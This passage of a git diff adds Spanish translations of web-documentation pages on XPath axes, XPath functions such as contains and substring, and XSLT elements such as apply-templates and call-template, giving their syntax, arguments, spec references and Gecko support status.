+</p>{{ languages( { "en": "en/XPath/Axes/descendant-or-self", "fr": "fr/XPath/Axes/descendant-or-self", "pl": "pl/XPath/Osie/descendant-or-self" } ) }}
diff --git a/files/es/web/xpath/ejes/descendant/index.html b/files/es/web/xpath/ejes/descendant/index.html
new file mode 100644
index 0000000000..c6fcc26970
--- /dev/null
+++ b/files/es/web/xpath/ejes/descendant/index.html
@@ -0,0 +1,8 @@
+---
+title: descendant
+slug: Web/XPath/Ejes/descendant
+translation_of: Web/XPath/Axes/descendant
+---
+<p>
+</p><p>El eje <code>descendant</code> indica todos los hijos del nodo de contexto, y todos sus hijos y así sucesivamente. <b>No</b> se incluyen los atributos y namespaces - el <code>parent</code> de un nodo <code>attribute</code> es un nodo elemento, pero los nodos <code>attribute</code> no son los hijos de sus padres.
+</p>{{ languages( { "en": "en/XPath/Axes/descendant", "fr": "fr/XPath/Axes/descendant", "pl": "pl/XPath/Osie/descendant" } ) }}
diff --git a/files/es/web/xpath/ejes/following-sibling/index.html b/files/es/web/xpath/ejes/following-sibling/index.html
new file mode 100644
index 0000000000..73e42a2e7d
--- /dev/null
+++ b/files/es/web/xpath/ejes/following-sibling/index.html
@@ -0,0 +1,8 @@
+---
+title: following-sibling
+slug: Web/XPath/Ejes/following-sibling
+translation_of: Web/XPath/Axes/following-sibling
+---
+<p>
+El eje <code>following-sibling</code> indica todos los nodos que tienen el mismo padre que el nodo de contexto y aparecen después del nodo de contexto en el documento de origen.
+</p>{{ languages( { "en": "en/XPath/Axes/following-sibling", "fr": "fr/XPath/Axes/following-sibling", "pl": "pl/XPath/Osie/following-sibling" } ) }}
diff --git a/files/es/web/xpath/ejes/following/index.html b/files/es/web/xpath/ejes/following/index.html
new file mode 100644
index 0000000000..190491a345
--- /dev/null
+++ b/files/es/web/xpath/ejes/following/index.html
@@ -0,0 +1,8 @@
+---
+title: following
+slug: Web/XPath/Ejes/following
+translation_of: Web/XPath/Axes/following
+---
+<p>
+El eje <code>following</code> indica todos los nodos que aparecen después del nodo de contexto, excepto cualquier nodo <code>descendant</code>, <code>attribute</code> y <code>namespace</code>.
+</p>{{ languages( { "en": "en/XPath/Axes/following", "fr": "fr/XPath/Axes/following", "pl": "pl/XPath/Osie/following" } ) }}
diff --git a/files/es/web/xpath/ejes/index.html b/files/es/web/xpath/ejes/index.html
new file mode 100644
index 0000000000..ebaed0b7be
--- /dev/null
+++ b/files/es/web/xpath/ejes/index.html
@@ -0,0 +1,47 @@
+---
+title: Ejes
+slug: Web/XPath/Ejes
+tags:
+  - Todas_las_Categorías
+  - XPath
+  - XSLT
+translation_of: Web/XPath/Axes
+---
+<p>{{XsltRef}}Existen trece ejes diferentes en la especificación <a href="es/XPath">XPath</a>. Un eje representa una relación con el nodo de contexto, y se utiliza para localizar nodos relativos a ese nodo en el arbol. Lo siguiente es una descripción resumida de los trece ejes disponibles y el grado de soporte disponible en <a href="es/Gecko">Gecko</a>.</p>
+
+<p>Para mas información sobre el uso de las expresiones XPath, por favor vea la sección <a href="es/Transformando_XML_con_XSLT/Para_Futuras_Lecturas">Para Futuras Lecturas</a> al final del documento de <a href="es/Transformando_XML_con_XSLT">Transformando XML con XSLT</a>.</p>
+
+<p> </p>
+
+<dl>
+ <dt><a href="es/XPath/Ejes/ancestor">ancestor</a></dt>
+ <dd>Indica todos los antecesores del nodo de contexto comenzando con el nodo padre y viajando hacia el nodo raiz.</dd>
+ <dt><a href="es/XPath/Ejes/ancestor-or-self">ancestor-or-self</a></dt>
+ <dd>Indica el nodo de contexto y todos sus antecesores, incluyendo el nodo raiz.</dd>
+ <dt><a href="es/XPath/Ejes/attribute">attribute</a></dt>
+ <dd>Indica los atributos del nodo de contexto. Sólo los elementos tienen atributos. Este eje se puede abreviar con el signo (<code>@</code>).</dd>
+ <dt><a href="es/XPath/Ejes/child">child</a></dt>
+ <dd>Indica el hijo del nodo de contexto. Si una expresión XPath no especifica un eje, se entiende por defecto. Ya que sólo los nodos raiz o los nodos elementos tienen hijos, cualquier otro uso no seleccionará nada.</dd>
+ <dt><a href="es/XPath/Ejes/descendant">descendant</a></dt>
+ <dd>Indica todos los hijos del nodo de contexto, y todos sus hijos y así sucesivamente. <strong>No</strong> se incluyen los atributos y namespaces - el <code>parent</code> de un nodo <code>attribute</code> es un nodo elemento, pero los nodos <code>attribute</code> no son los hijos de sus padres.</dd>
+ <dt><a href="es/XPath/Ejes/descendant-or-self">descendant-or-self</a></dt>
+ <dd>Indica el nodo de contexto y todos sus descendientes. <strong>No</strong> se incluyen los nodos atributos y namespaces - el <code>parent</code> de un nodo <code>attribute</code> es un nodo elemento, pero los nodos <code>attribute</code> no son los hijos de sus padres.</dd>
+ <dt><a href="es/XPath/Ejes/following">following</a></dt>
+ <dd>Indica todos los nodos que aparecen después del nodo de contexto, excepto cualquier nodo <code>descendant</code>, <code>attribute</code> y <code>namespace</code>.</dd>
+ <dt><a href="es/XPath/Ejes/following-sibling">following-sibling</a></dt>
+ <dd>Indica todos los nodos que tienen el mismo padre que el nodo de contexto y aparecen después del nodo de contexto en el documento de origen.</dd>
+ <dt><a href="es/XPath/Ejes/namespace">namespace</a><em>(no soportado)</em></dt>
+ <dd>Indica todos los nodos que están en el ámbito del nodo de contexto. En este caso, el nodo de contexto debe tener un nodo elemento.</dd>
+ <dt><a href="es/XPath/Ejes/parent">parent</a></dt>
+ <dd>Indica el único nodo que es el padre del nodo de contexto. Se puede abreviar con dos puntos (<code>..</code>).</dd>
+ <dt><a href="es/XPath/Ejes/preceding">preceding</a></dt>
+ <dd>Indica todos los nodos que preceden al nodo de contexto en el documento excepto cualquier nodo <code>ancestor</code>, <code>attribute</code> y <code>namespace</code>.</dd>
+ <dt><a href="es/XPath/Ejes/preceding-sibling">preceding-sibling</a></dt>
+ <dd>Indica todos los nodos que tienen el mismo padre que el nodo de contexto y aparecen antes que el nodo de contexto en el documento de origen.</dd>
+ <dt><a href="es/XPath/Ejes/self">self</a></dt>
+ <dd>Indica el nodo de contexto si mismo. Se puede abreviar con un solo punto (<code>.</code>).</dd>
+</dl>
+
+<p><span class="comment">Categorias</span></p>
+
+<p><span class="comment">interwiki links</span></p>
diff --git a/files/es/web/xpath/ejes/namespace/index.html b/files/es/web/xpath/ejes/namespace/index.html
new file mode 100644
index 0000000000..aa24e4ac1f
--- /dev/null
+++ b/files/es/web/xpath/ejes/namespace/index.html
@@ -0,0 +1,9 @@
+---
+title: namespace
+slug: Web/XPath/Ejes/namespace
+translation_of: Web/XPath/Axes/namespace
+---
+<p>
+<i>(not supported)</i>
+</p><p>El eje <code>namespace</code> indica todos los nodos que están en el ámbito del nodo de contexto. En este caso, el nodo de contexto debe tener un nodo elemento.
+</p>{{ languages( { "en": "en/XPath/Axes/namespace", "fr": "fr/XPath/Axes/namespace", "pl": "pl/XPath/Osie/namespace" } ) }}
diff --git a/files/es/web/xpath/ejes/parent/index.html b/files/es/web/xpath/ejes/parent/index.html
new file mode 100644
index 0000000000..ad56a7ec63
--- /dev/null
+++ b/files/es/web/xpath/ejes/parent/index.html
@@ -0,0 +1,8 @@
+---
+title: parent
+slug: Web/XPath/Ejes/parent
+translation_of: Web/XPath/Axes/parent
+---
+<p>
+El eje <code>parent</code> indica el único nodo que es el padre del nodo de contexto. Se puede abreviar con dos puntos (<code>..</code>).
+</p>{{ languages( { "en": "en/XPath/Axes/parent", "fr": "fr/XPath/Axes/parent", "pl": "pl/XPath/Osie/parent" } ) }}
diff --git a/files/es/web/xpath/ejes/preceding-sibling/index.html b/files/es/web/xpath/ejes/preceding-sibling/index.html
new file mode 100644
index 0000000000..d713cfcdf5
--- /dev/null
+++ b/files/es/web/xpath/ejes/preceding-sibling/index.html
@@ -0,0 +1,8 @@
+---
+title: preceding-sibling
+slug: Web/XPath/Ejes/preceding-sibling
+translation_of: Web/XPath/Axes/preceding-sibling
+---
+<p>
+El eje <code>preceding-sibling</code> indica todos los nodos que tienen el mismo padre que el nodo de contexto y aparecen antes que el nodo de contexto en el documento de origen.
+</p>{{ languages( { "en": "en/XPath/Axes/preceding-sibling", "fr": "fr/XPath/Axes/preceding-sibling", "pl": "pl/XPath/Osie/preceding-sibling" } ) }}
diff --git a/files/es/web/xpath/ejes/preceding/index.html b/files/es/web/xpath/ejes/preceding/index.html
new file mode 100644
index 0000000000..cd4b702ca2
--- /dev/null
+++ b/files/es/web/xpath/ejes/preceding/index.html
@@ -0,0 +1,8 @@
+---
+title: preceding
+slug: Web/XPath/Ejes/preceding
+translation_of: Web/XPath/Axes/preceding
+---
+<p>
+El eje <code>preceding</code> indica todos los nodos que preceden al nodo de contexto en el documento excepto cualquier nodo <code>ancestor</code>, <code>attribute</code> y <code>namespace</code>.
+</p>{{ languages( { "en": "en/XPath/Axes/preceding", "fr": "fr/XPath/Axes/preceding", "pl": "pl/XPath/Osie/preceding" } ) }}
diff --git a/files/es/web/xpath/funciones/contains/index.html b/files/es/web/xpath/funciones/contains/index.html
new file mode 100644
index 0000000000..59af049973
--- /dev/null
+++ b/files/es/web/xpath/funciones/contains/index.html
@@ -0,0 +1,32 @@
+---
+title: contains
+slug: Web/XPath/Funciones/contains
+translation_of: Web/XPath/Functions/contains
+---
+<p>
+{{ XsltRef() }}
+</p><p><br>
+La función <code>contains</code> determina si la primera cadena del argumento contiene la segunda cadena del argumento y devuelve el booleano verdadero o falso.
+</p>
+<h3 id="Sintaxis" name="Sintaxis"> Sintaxis </h3>
+<pre class="eval">contains( <i>haystack</i> , <i>needle</i> )
+</pre>
+<h3 id="Argumentos" name="Argumentos"> Argumentos </h3>
+<dl><dt><code><i>haystack</i></code>
+</dt><dd>La cadena donde buscar
+</dd></dl>
+<dl><dt><code><i>needle</i></code>
+</dt><dd>La subcadena a buscar en <code><i>haystack</i></code>
+</dd></dl>
+<h3 id="Devuelve" name="Devuelve"> Devuelve </h3>
+<p><code>true</code> si <code><i>haystack</i></code> contiene <code><i>needle</i></code>. Si no, <code>false</code>.
+</p>
+<h3 id="Definido" name="Definido"> Definido </h3>
+<p><a href="http://www.w3.org/TR/xpath#function-contains" class="external">XPath 1.0 4.2</a>
+</p>
+<h3 id="Soporte_en_Gecko" name="Soporte_en_Gecko"> Soporte en Gecko </h3>
+<p>Soportado.
+</p>
+<div class="noinclude">
+</div>
+{{ languages( { "en": "en/XPath/Functions/contains", "fr": "fr/XPath/Fonctions/contains", "ja": "ja/XPath/Functions/contains", "pl": "pl/XPath/Funkcje/contains" } ) }}
diff --git a/files/es/web/xpath/funciones/index.html b/files/es/web/xpath/funciones/index.html
new file mode 100644
index 0000000000..9c0fdd8af4
--- /dev/null
+++ b/files/es/web/xpath/funciones/index.html
@@ -0,0 +1,54 @@
+---
+title: Funciones
+slug: Web/XPath/Funciones
+tags:
+  - Referência_XPath
+  - Referência_XSLT
+  - Transformando_XML_con_XSLT
+  - XPath
+  - XSLT
+translation_of: Web/XPath/Functions
+---
+<p>{{ XsltRef() }} A continuación se presenta una lista ordenada de las funciones core de <font color="#0066cc">XPath</font> y agregados específicos de <font color="#0066cc">XSLT </font>a XPath, incluyendo una descripción, sintaxis, un listado de argumentos, tipo de resultado, referencia apopiada a W3C y el estado actual de soporte en el motor <font color="#0066cc">Gecko</font>. para más información sobre el uso de las funciones de XPath/XSLT, por favor vea la página <a href="/en/Transforming_XML_with_XSLT/For_Further_Reading" title="en/Transforming_XML_with_XSLT/For_Further_Reading"><u><font color="#0066cc">Para más información</font></u></a>.</p>
+
+<ul>
+ <li><a href="/en/XPath/Functions/boolean" title="en/XPath/Functions/boolean">boolean()</a></li>
+ <li><a href="/en/XPath/Functions/ceiling" title="en/XPath/Functions/ceiling">ceiling()</a></li>
+ <li><a href="/en/XPath/Functions/choose" title="en/XPath/Functions/choose">choose()</a></li>
+ <li><a href="/en/XPath/Functions/concat" title="en/XPath/Functions/concat">concat()</a></li>
+ <li><a href="/en/XPath/Functions/contains" title="en/XPath/Functions/contains">contains()</a></li>
+ <li><a href="/en/XPath/Functions/count" title="en/XPath/Functions/count">count()</a></li>
+ <li><a href="/en/XPath/Functions/current" title="en/XPath/Functions/current">current()</a> <em>Específico de XSLT</em></li>
+ <li><a href="/en/XPath/Functions/document" title="en/XPath/Functions/document">document()</a> <em>Específico de XSLT</em></li>
+ <li><a href="/en/XPath/Functions/element-available" title="en/XPath/Functions/element-available">element-available()</a></li>
+ <li><a href="/en/XPath/Functions/false" title="en/XPath/Functions/false">false()</a></li>
+ <li><a href="/en/XPath/Functions/floor" title="en/XPath/Functions/floor">floor()</a></li>
+ <li><a href="/en/XPath/Functions/format-number" title="en/XPath/Functions/format-number">format-number()</a> <em>Específico de XSLT</em></li>
+ <li><a href="/en/XPath/Functions/function-available" title="en/XPath/Functions/function-available">function-available()</a></li>
+ <li><a href="/en/XPath/Functions/generate-id" title="en/XPath/Functions/generate-id">generate-id()</a> <em>Específico de XSLT</em></li>
+ <li><a href="/en/XPath/Functions/id" title="en/XPath/Functions/id">id()</a> <em>(Parcialmente soportado)</em></li>
+ <li><a href="/en/XPath/Functions/key" title="en/XPath/Functions/key">key()</a> <em>Específico de XSLT</em></li>
+ <li><a href="/en/XPath/Functions/lang" title="en/XPath/Functions/lang">lang()</a></li>
+ <li><a href="/en/XPath/Functions/last" title="en/XPath/Functions/last">last()</a></li>
+ <li><a href="/en/XPath/Functions/local-name" title="en/XPath/Functions/local-name">local-name()</a></li>
+ <li><a href="/en/XPath/Functions/name" title="en/XPath/Functions/name">name()</a></li>
+ <li><a href="/en/XPath/Functions/namespace-uri" title="en/XPath/Functions/namespace-uri">namespace-uri()</a></li>
+ <li><a href="/en/XPath/Functions/normalize-space" title="en/XPath/Functions/normalize-space">normalize-space()</a></li>
+ <li><a href="/en/XPath/Functions/not" title="en/XPath/Functions/not">not()</a></li>
+ <li><a href="/en/XPath/Functions/number" title="en/XPath/Functions/number">number()</a></li>
+ <li><a href="/en/XPath/Functions/position" title="en/XPath/Functions/position">position()</a></li>
+ <li><a href="/en/XPath/Functions/round" title="en/XPath/Functions/round">round()</a></li>
+ <li><a href="/en/XPath/Functions/starts-with" title="en/XPath/Functions/starts-with">starts-with()</a></li>
+ <li><a href="/en/XPath/Functions/string" title="en/XPath/Functions/string">string()</a></li>
+ <li><a href="/en/XPath/Functions/string-length" title="en/XPath/Functions/string-length">string-length()</a></li>
+ <li><a href="/en/XPath/Functions/substring" title="en/XPath/Functions/substring">substring()</a></li>
+ <li><a href="/en/XPath/Functions/substring-after" title="en/XPath/Functions/substring-after">substring-after()</a></li>
+ <li><a href="/en/XPath/Functions/substring-before" title="en/XPath/Functions/substring-before">substring-before()</a></li>
+ <li><a href="/en/XPath/Functions/sum" title="en/XPath/Functions/sum">sum()</a></li>
+ <li><a href="/en/XPath/Functions/system-property" title="en/XPath/Functions/system-property">system-property()</a> <em>Específico de XSLT</em></li>
+ <li><a href="/en/XPath/Functions/translate" title="en/XPath/Functions/translate">translate()</a></li>
+ <li><a href="/en/XPath/Functions/true" title="en/XPath/Functions/true">true()</a></li>
+ <li><a href="/en/XPath/Functions/unparsed-entity-url" title="en/XPath/Functions/unparsed-entity-url">unparsed-entity-url()</a> <em>Específico de XSLT (no soportado)</em></li>
+</ul>
+
+<p>{{ languages( { "fr": "fr/XPath/Fonctions", "ja": "ja/XPath/Functions", "zh-cn": "cn/XPath/Functions", "pl": "pl/XPath/Funkcje" , "ko": "ko/XPath/Functions"} ) }}</p>
diff --git a/files/es/web/xpath/funciones/substring/index.html b/files/es/web/xpath/funciones/substring/index.html
new file mode 100644
index 0000000000..96c5ec585b
--- /dev/null
+++ b/files/es/web/xpath/funciones/substring/index.html
@@ -0,0 +1,37 @@
+---
+title: substring
+slug: Web/XPath/Funciones/substring
+translation_of: Web/XPath/Functions/substring
+---
+<p>
+{{ XsltRef() }}
+</p><p><br>
+La función <code>substring</code> devuelve una parte de una cadena dada.
+</p>
+<h3 id="Sintaxis" name="Sintaxis"> Sintaxis </h3>
+<pre class="eval">substring( <i>string</i> , <i>start</i> [, <i>length</i>] )
+</pre>
+<h3 id="Argumentos" name="Argumentos"> Argumentos </h3>
+<dl><dt><i><code>string</code></i> </dt><dd>La cadena a evaluar.
+</dd></dl>
+<dl><dt><i><code>start</code></i>
+</dt><dd>La posición dentro de <i><code>string</code></i> donde comienza la subcadena.
+</dd></dl>
+<dl><dt><i><code>length</code></i> (opcional)
+</dt><dd>La longitud de la subcadena. Si se omite, la cadena devuelta contendrá todos los carácteres desde la posición <i><code>start</code></i> hasta el final de <i><code>string</code></i>.
+</dd></dl>
+<h3 id="Devuelve" name="Devuelve"> Devuelve </h3>
+<p>Una cadena.
+</p>
+<h3 id="Notas" name="Notas"> Notas </h3>
+<p>Como en otras funciones XPath, la posición no está basada en cero. El primer carácter de la cadena tiene la posición 1, no 0.
+</p>
+<h3 id="Definido" name="Definido"> Definido </h3>
+<p><a href="http://www.w3.org/TR/xpath#function-substring" class="external">XPath 1.0 4.2</a>
+</p>
+<h3 id="Soporte_en_Gecko" name="Soporte_en_Gecko"> Soporte en Gecko </h3>
+<p>Soportado.
+</p>
+<div class="noinclude">
+</div>
+{{ languages( { "en": "en/XPath/Functions/substring", "fr": "fr/XPath/Fonctions/substring", "ja": "ja/XPath/Functions/substring", "pl": "pl/XPath/Funkcje/substring" } ) }}
diff --git a/files/es/web/xpath/funciones/true/index.html b/files/es/web/xpath/funciones/true/index.html
new file mode 100644
index 0000000000..41ace4f289
--- /dev/null
+++ b/files/es/web/xpath/funciones/true/index.html
@@ -0,0 +1,29 @@
+---
+title: 'true'
+slug: Web/XPath/Funciones/true
+tags:
+  - Todas_las_Categorías
+  - XSLT
+translation_of: Web/XPath/Functions/true
+---
+<p>{{XsltRef}}</p>
+
+<p><br>
+ La función <code>true</code> devuelve un valor booleano de verdadero.</p>
+
+<h3 id="Sintaxis" name="Sintaxis">Sintaxis</h3>
+
+<pre class="eval">true()
+</pre>
+
+<h3 id="Devuelve" name="Devuelve">Devuelve</h3>
+
+<p>El booleano <code>verdadero</code>.</p>
+
+<h3 id="Definido" name="Definido">Definido</h3>
+
+<p><a class="external" href="http://www.w3.org/TR/xpath#function-true">XPath 1.0 4.3</a></p>
+
+<h3 id="Soporte_en_Gecko" name="Soporte_en_Gecko">Soporte en Gecko</h3>
+
+<p>Supported.</p>
diff --git a/files/es/web/xpath/index.html b/files/es/web/xpath/index.html
new file mode 100644
index 0000000000..2de84c49c9
--- /dev/null
+++ b/files/es/web/xpath/index.html
@@ -0,0 +1,14 @@
+---
+title: XPath
+slug: Web/XPath
+tags:
+  - Todas_las_Categorías
+  - XPath
+translation_of: Web/XPath
+---
+<p>El <strong>Lenguaje de Caminos XML</strong> proporciona un modo flexible de dirigirse (señalando a) a las distintas partes de un documento XML. También puede ser usado para cotejar nodos y determinar si encajan un modelo o no.</p>
+<p>XPath es principalmente usado con <a href="/es/XSLT" title="es/XSLT">XSLT</a>, pero también puede ser usado como un modo mucho más eficaz de navegar por el DOM de cualquier documento basado en XML, como <a href="/es/XHTML" title="es/XHTML">XHTML</a> y <a href="/es/XUL" title="es/XUL">XUL</a>, en vez de confiar en el método <code>getElementById</code>, las propiedades <code>childNodes</code>, etc.</p>
+<p>XPath usa una notación de caminos (como en los URLs) para navegar por la estructura jerárquica de un documento XML. Su sintaxis no es XML para que pueda ser usado en URIs o en valores de atributos XML.</p>
+<table class="topicpage-table"> <tbody> <tr> <td> <h4 id="Documentaci.C3.B3n"><a href="/Special:Tags?tag=XPath&amp;language=es" title="Special:Tags?tag=XPath&amp;language=es">Documentación</a></h4> <dl> <dt><a class="external" href="http://www.sidar.org/recur/desdi/traduc/es/xml/xpath.html">Especificación de XPath 1.0</a></dt> <dd><small>Este documento es una traducción al castellano de la Recomendación del W3C: "XML Path Language (XPath) Version 1.0".</small></dd> </dl> <dl> <dt><a href="/es/XPath/Ejes" title="es/XPath/Ejes">XPath:Ejes</a></dt> <dd><small>Listado y descripción de los ejes definidos en la especificación de XPath. Los ejes se usan para describir las relaciones entre los nodos de un documento.</small></dd> </dl> <dl> <dt><a href="/es/XPath/Funciones" title="es/XPath/Funciones">XPath:Funciones</a></dt> <dd><small>List and description of the core XPath functions and XSLT-specific additions to XPath.</small></dd> </dl> <dl> <dt><a href="/es/Transformando_XML_con_XSLT" title="es/Transformando_XML_con_XSLT">Transformando XML con XSLT</a></dt> <dd><small>XSLT usa XPath para señalar la dirección de los fragmentos de código en documentos XML que se quieren transformar.</small></dd> </dl> <dl> <dt><a class="external" href="http://www.zvon.org/xxl/XPathTutorial/General_spa/examples.html">Tutorial de XPath </a></dt> <dd><small>Tutorial basado en ejemplos que te ayudaran a dar tus primeros pasos.</small></dd> </dl> <p><span><a href="/Special:Tags?tag=XPath&amp;language=es" title="Special:Tags?tag=XPath&amp;language=es">Ver más...</a></span></p> </td> <td> <h4 id="Comunidad">Comunidad</h4> <h4 id="Herramientas">Herramientas</h4> <h4 id="Temas_relacionados">Temas relacionados</h4> <dl> <dd><a href="/es/XSLT" title="es/XSLT">XSLT</a>, <a href="/es/XML" title="es/XML">XML</a>, <a href="/es/DOM" title="es/DOM">DOM</a></dd> </dl> <p> </p> </td> </tr> </tbody>
+</table>
+<p>{{ languages( { "cs": "cs/XPath", "en": "en/XPath", "fr": "fr/XPath", "ja": "ja/XPath", "ko": "ko/XPath", "pl": "pl/XPath", "zh-cn": "cn/XPath" } ) }}</p>
diff --git a/files/es/web/xslt/apply-imports/index.html b/files/es/web/xslt/apply-imports/index.html
new file mode 100644
index 0000000000..05d3429202
--- /dev/null
+++ b/files/es/web/xslt/apply-imports/index.html
@@ -0,0 +1,36 @@
+---
+title: apply-imports
+slug: Web/XSLT/apply-imports
+tags:
+  - Todas_las_Categorías
+  - XSLT
+translation_of: Web/XSLT/Element/apply-imports
+---
+<p>{{XsltRef}}</p>
+
+<p><br>
+ El elemento <code>&lt;xsl:apply-imports&gt;</code> es complejo en su uso, y es utilizado mayoritariamente en hojas de estilo muy complejas. La precedencia de importación indica que las plantillas en la hoja de estilo principal tienen mayor precedencia que las plantillas en las hojas de estilo importadas. Sin embargo, en ocasiones es útil forzar al procesador para que aplique una plantilla de menor procedencia contenida en la hoja de estilo importada en lugar de una plantilla equivalente en la hoja de estilo principal.</p>
+
+<h3 id="Sintaxis" name="Sintaxis">Sintaxis</h3>
+
+<pre>&lt;xsl:apply-imports/&gt;</pre>
+
+<h3 id="Atributos_requeridos" name="Atributos_requeridos">Atributos requeridos</h3>
+
+<p>Ninguno.</p>
+
+<h3 id="Atributos_opcionales" name="Atributos_opcionales">Atributos opcionales</h3>
+
+<p>Ninguno.</p>
+
+<h3 id="Tipo" name="Tipo">Tipo</h3>
+
+<p>Instrucción, aparece dentro de una plantilla.</p>
+
+<h3 id="Definido" name="Definido">Definido</h3>
+
+<p>XSLT, sección 5.6.</p>
+
+<h3 id="Soporte_en_Gecko" name="Soporte_en_Gecko">Soporte en Gecko</h3>
+
+<p>Soportado.</p>
diff --git a/files/es/web/xslt/apply-templates/index.html b/files/es/web/xslt/apply-templates/index.html
new file mode 100644
index 0000000000..cb4063eada
--- /dev/null
+++ b/files/es/web/xslt/apply-templates/index.html
@@ -0,0 +1,43 @@
+---
+title: apply-templates
+slug: Web/XSLT/apply-templates
+tags:
+  - Todas_las_Categorías
+  - XSLT
+translation_of: Web/XSLT/Element/apply-templates
+---
+<p>{{XsltRef}}</p>
+
+<p>El elemento <code>&lt;xsl:apply-templates&gt;</code> selecciona un conjunto de nodos del documento de entrada e instruye al procesador para aplicar las plantillas apropiadas a ellos.</p>
+
+<h3 id="Sintaxis" name="Sintaxis">Sintaxis</h3>
+
+<pre>&lt;xsl:apply-templates select=EXPRESION mode=NOMBRE&gt;
+	&lt;xsl:with-param&gt; [opcional]
+	&lt;xsl:sort&gt; [opcional]
+&lt;/xsl:apply-templates&gt;</pre>
+
+<h3 id="Atributos_requeridos" name="Atributos_requeridos">Atributos requeridos</h3>
+
+<p>Ninguno.</p>
+
+<h3 id="Atributos_opcionales" name="Atributos_opcionales">Atributos opcionales</h3>
+
+<dl>
+ <dt><code>select</code></dt>
+ <dd>Usa una expresión XPath para indicar los nodos a ser procesados. Un asterisco(<code>*</code>) selecciona por completo el conjunto de nodos. Si el atributo no se establece, todos los nodos hijos del nodo actual son seleccionados.</dd>
+ <dt><code>mode</code></dt>
+ <dd>Si existend diferentes maneras definidas de procesar el mismo nodo, se distingue entre ellas.</dd>
+</dl>
+
+<h3 id="Tipo" name="Tipo">Tipo</h3>
+
+<p>Instrucción, aparece dentro de una plantilla.</p>
+
+<h3 id="Definido" name="Definido">Definido</h3>
+
+<p>XSLT sección 5.4.</p>
+
+<h3 id="Soporte_en_Gecko" name="Soporte_en_Gecko">Soporte en Gecko</h3>
+
+<p>Soportado.</p>
diff --git a/files/es/web/xslt/attribute-set/index.html b/files/es/web/xslt/attribute-set/index.html
new file mode 100644
index 0000000000..c202895db0
--- /dev/null
+++ b/files/es/web/xslt/attribute-set/index.html
@@ -0,0 +1,43 @@
+---
+title: attribute-set
+slug: Web/XSLT/attribute-set
+tags:
+  - Todas_las_Categorías
+  - XSLT
+translation_of: Web/XSLT/Element/attribute-set
+---
+<p>{{XsltRef}}</p>
+
+<p>El elemento <code>&lt;xsl:attribute-set&gt;</code> genera un conjunto con nombre de atributos, el cual puede ser aplicado al documento de salida, de una manera similar a los estilos con nombre dentro de CSS.</p>
+
+<h3 id="Sintaxi" name="Sintaxi">Sintaxi</h3>
+
+<pre>&lt;xsl:attribute-set name=NOMBRE use-attribute-sets=LISTA-DE-NOMBRES&gt;
+	&lt;xsl:attribute&gt;
+&lt;/xsl:attribute-set&gt;</pre>
+
+<h3 id="Atributos_requeridos" name="Atributos_requeridos">Atributos requeridos</h3>
+
+<dl>
+ <dt><code>name</code></dt>
+ <dd>Indica el nombre del conjunto de elementos. El nombre debe seguir las reglas QName.</dd>
+</dl>
+
+<h3 id="Atributos_opcionales" name="Atributos_opcionales">Atributos opcionales</h3>
+
+<dl>
+ <dt><code>use-attribute-sets</code></dt>
+ <dd>Genera un conjunto de elementos a partir de otros conjuntos de atributos. Los nombres de los conjuntos deben estar separados por espacios en blanco y no se deben solapar directa o indirectamente.</dd>
+</dl>
+
+<h3 id="Tipo" name="Tipo">Tipo</h3>
+
+<p>Debe ser hijo del elemento <code>&lt;xsl:stylesheet&gt;</code> o <code>&lt;xsl:transform&gt;</code>.</p>
+
+<h3 id="Definido" name="Definido">Definido</h3>
+
+<p>XSLT, sección 7.1.4.</p>
+
+<h3 id="Soporte_en_Gecko" name="Soporte_en_Gecko">Soporte en Gecko</h3>
+
+<p>Soportado</p>
diff --git a/files/es/web/xslt/attribute/index.html b/files/es/web/xslt/attribute/index.html
new file mode 100644
index 0000000000..91d7985678
--- /dev/null
+++ b/files/es/web/xslt/attribute/index.html
@@ -0,0 +1,43 @@
+---
+title: attribute
+slug: Web/XSLT/attribute
+tags:
+  - Todas_las_Categorías
+  - XSLT
+translation_of: Web/XSLT/Element/attribute
+---
+<p>{{XsltRef}}</p>
+
+<p>El elemento <code>&lt;xsl:attribute&gt;</code> genera un atributo en el documento de salida, usando cualquier valor que puede ser accedido desde la hoja de estilo. Este elemento tiene que ser la primer cosa que se encuentre dentro del elemento del documento de salida para el cual se desea generar el atributo.</p>
+
+<h3 id="Sintaxis" name="Sintaxis">Sintaxis</h3>
+
+<pre>&lt;xsl:attribute name=NOMBRE namespace=URI&gt;
+	PLANTILLA
+&lt;/xsl:attribute&gt;</pre>
+
+<h3 id="Atributos_requeridos" name="Atributos_requeridos">Atributos requeridos</h3>
+
+<dl>
+ <dt><code>name</code></dt>
+ <dd>Indica el nombre del atributo a ser generado en el documento de salida. El nombre debe seguir las reglas de QName.</dd>
+</dl>
+
+<h3 id="Atributos_opcionales" name="Atributos_opcionales">Atributos opcionales</h3>
+
+<dl>
+ <dt><code>namespace</code></dt>
+ <dd>Define el URI del nombre de espacio para el atributo en el documento de salida. No se puede especificar el prefijo del nombre de espacio con este elemento.</dd>
+</dl>
+
+<h3 id="Tipo" name="Tipo">Tipo</h3>
+
+<p>Instrucción, aparece dentro de una plantilla o dentro del elemento <code>&lt;xsl:attribute-set&gt;</code>.</p>
+
+<h3 id="Definido" name="Definido">Definido</h3>
+
+<p>XSLT, sección 7.1.3.</p>
+
+<h3 id="Soporte_en_Gecko" name="Soporte_en_Gecko">Soporte en Gecko</h3>
+
+<p>Soportado.</p>
diff --git a/files/es/web/xslt/call-template/index.html b/files/es/web/xslt/call-template/index.html
new file mode 100644
index 0000000000..deba6a8adb
--- /dev/null
+++ b/files/es/web/xslt/call-template/index.html
@@ -0,0 +1,40 @@
+---
+title: call-template
+slug: Web/XSLT/call-template
+tags:
+  - Todas_las_Categorías
+  - XSLT
+translation_of: Web/XSLT/Element/call-template
+---
+<p>{{XsltRef}}</p>
+
+<p>El elemento <code>&lt;xsl:call-template&gt;</code> invoca una plantilla con nombre.</p>
+
+<h3 id="Sintaxis" name="Sintaxis">Sintaxis</h3>
+
+<pre>&lt;xsl:call-template name=NOMBRE&gt;
+	&lt;xsl:with-param&gt; [opcional]
+&lt;/xsl:call-template&gt;</pre>
+
+<h3 id="Atributos_requeridos" name="Atributos_requeridos">Atributos requeridos</h3>
+
+<dl>
+ <dt><code>name</code></dt>
+ <dd>Indica el nombre del template que se desea invocar.</dd>
+</dl>
+
+<h3 id="Atributos_opcionales" name="Atributos_opcionales">Atributos opcionales</h3>
+
+<p>Ninguno.</p>
+
+<h3 id="Tipo" name="Tipo">Tipo</h3>
+
+<p>Instrucción, aparece dentro de una plantilla.</p>
+
+<h3 id="Definido" name="Definido">Definido</h3>
+
+<p>XSLT, sección 6.</p>
+
